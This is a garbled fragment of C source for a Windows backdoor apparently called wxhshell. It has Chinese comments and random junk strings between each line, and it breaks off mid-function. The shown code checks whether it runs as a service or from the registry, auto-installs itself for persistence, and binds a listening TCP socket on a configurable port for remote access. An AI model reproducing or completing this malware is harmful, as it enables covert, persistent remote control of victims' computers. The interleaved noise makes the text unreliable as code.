qeBfE QSAz:Yvf| CloseHandle(hProcess); 8 ]dhNA5 *@dRL3c^= if(strstr(procName,"services")) return 1; // 以服务启动 3kdTteyy+ |
3!a= return 0; // 注册表启动 '+Gt+Gq+ } 4NQS'*%D X/];*='Q // 主模块 jWiB_8-6 int StartWxhshell(LPSTR lpCmdLine) m!|u{<,R { ^lB1- ;ng SOCKET wsl; TWQf2 BOOL val=TRUE; lK9us int port=0; ]b.@i&M struct sockaddr_in door; gr4Hh/V MH?|>6 if(wscfg.ws_autoins) Install(); &rorBD 5aj pxM^|?Hxc port=atoi(lpCmdLine); S$%T0~PR~ ^uMy|d if(port<=0) port=wscfg.ws_port; TRcY! XtNe) Ry WSADATA data; I/Hwf if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %8yfFrk T#|Qexz6 @ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; S@z$,}Yc`< setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f/&Dy'OV7 door.sin_family = AF_INET; <)uUAh door.sin_addr.s_addr = inet_addr("127.0.0.1"); R4_4 FEo door.sin_port = htons(port); -F/"W 9-Ikd>9 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QSW03/_f closesocket(wsl); {e<J}-/? return 1; G=jdb@V/? } &0It"17Ej .*r?zDV if(listen(wsl,2) == INVALID_SOCKET) { cnnlEw/& closesocket(wsl); mF%>pj& |